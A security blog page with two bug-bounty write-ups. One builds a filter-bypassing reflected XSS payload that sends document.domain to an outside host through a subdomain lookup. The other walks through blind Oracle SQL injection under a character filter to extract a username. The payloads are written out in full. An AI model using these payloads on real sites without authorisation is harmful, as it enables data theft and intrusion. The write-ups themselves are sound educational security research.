Tuesday, October 13, 2020

I had fun with this XSS

Recently, in a private bug-bounty program I've found an interesting XSS vulnerability where the vulnerable endpoint limits the use of special characters. The user's input got reflected in the following:

<script type="text/javascript">
            window.onload = function () {
                window.location = 'https://url/reflected-point'

It looks like a straightforward XSS vulnerability when it was possible to break the tag using the ' character. Generally, the following payload '-alert(0)-' should work, but unfortunately, the actual challenge just started.

I found that most of the special characters were filtered (as in removed from the content when they were inserted). After a minimal fuzzing, the following special characters were the only accepted and reflected via this endpoint:

, . = : @ # ? * %


I tried to confirm if this is still possible through experimenting on JSFiddle. I noted that instead of using - , we can use the comma sign too when the reflection point is the same as the codes mentioned above. Means, ',alert(0),' is actually possible.


Now, it is not done yet. Remember that parentheses are not allowed.

Thus, I tried to look for any ways to execute an alert box as it is an easy way to demonstrate an XSS vulnerability. However, none of the ways that seem possible using the allowed special characters in this situation..except, location=name

I started focusing on that and at the same time asking ideas from people in Slack and my CTF team. I found out through JSFiddle, the following payload seems possible. 

',document.location='javascript:document.domain','


Done? Not yet. It was a success when I tested in the JSFiddle, but it was not when tried on the vulnerable website. This was because it will throw 500 error message when it detects if the request contains the unpermitted strings match like javascript:document.*

The further test found that I can redirect the request through window.location=http://url. At first, it was a fail as // characters are not allowed. However, the request still gets redirected without the slashes. window.location=http:url was possible 

At this stage, it already enough to prove the JavaScript execution. But from the triager/customer perspective, this seems just like an open redirection vulnerability. I still need to show that it is possible to exfiltrate the content to the external domain. Easy? Yeah, the following payload should work basically..
',window.location='http:my-url/'%2bdocument.domain%2b,'

But no..it was not working..since the payload contains / again. Thus, there's another bummer. Until my CTF team member, johnburn, told me to simply parse the content that I want as the subdomain instead. Similar to exfiltrating data via DNS. Honestly, I have never tried that. But..it actually works!

So the final payload was:
',window.location='http:'%2bdocument.domain%2b'.my-burp-domain','

And of course, it got accepted :). It is always great to learn something new and share with everyone. If there's another way that should work, feel free to share it with the community.





Thursday, April 16, 2020

Tricky Oracle SQL Injection Situation

Recently I learnt few new stuff when solving SQL Injection found during pentest and also bugbounty. One of the new technique that seems new to me is the one that I learnt from my master, pokleyzz. This injection was found in a recent bugbounty program and the actual path/parameter were replaced.

The injection was found on the "idNumber" parameter of the following endpoint
/foo/?theName=YAP&idNumber=248001[here]
Common payloads were performed on this target and initially, I found the following payloads were working to identify TRUE/FALSE condition

/foo/?theName=YAP&idNumber=248001'+AND+'1'='1 TRUE
/foo/?theName=YAP&idNumber=248001'+AND+'2'='1 FALSE 

and also able to use pipe operator too

/foo/?theName=YAP&idNumber=248'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'8'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'X'||'001 FALSE

With these conditions, I was able to narrow down the database used by this application to Oracle, PosgreSQL, IBM DB2 or Informix.

At first, I thought this can be done using the same technique that I know:

See : https://blog.yappare.com/2012/04/advance-oracle-blind-sql-injection.html

However, the CASE() was not working. After few attempts, I stopped to figure out on using CASE(). Next, this technique was tried:

See: https://blog.yappare.com/2017/03/blind-sql-injection-in-erim-not-sure.html

No joy. Dead end. After almost two days of trying, I give up doing it myself and ask helps from few friends.
No luck. I tried my last option, pokleyzz. In just less than an hour, he showed me the technique that can be used.

/foo/?theName=YAP&idNumber=248'||<bruteforce any known SQL functions here>||'001

As a result, I found "rownum" was accepted and this indicates the DBMS is Oracle. To reconfirm, the following was queried:

/foo/?theName=YAP&idNumber=24800'||rownum||'

The above payload result in the website displayed list of "theName" product that starts with "idNumber" 24800

Interesting! Now how we can at least extract data from this injection? Another blocker was identified. It seems the application filtered/replaced the following characters
_ ( ) + . whitespaces
While I found this seems another dead end, pokleyzz showed another brilliant way to extract the data using the following payload:

 /foo/?theName=YAP&idNumber=248'||<bruteforce all column_name here>||'001 - We found few column names which one of it was "username"
Then final step was:

 /foo/?theName=YAP&idNumber=248001'and''||username||''like'<bruteforce-character>%
 I ran the Intruder on the above attacking point and voila, got the username 😼

As always, pokleyzz is the best master I have. 💻

Bye.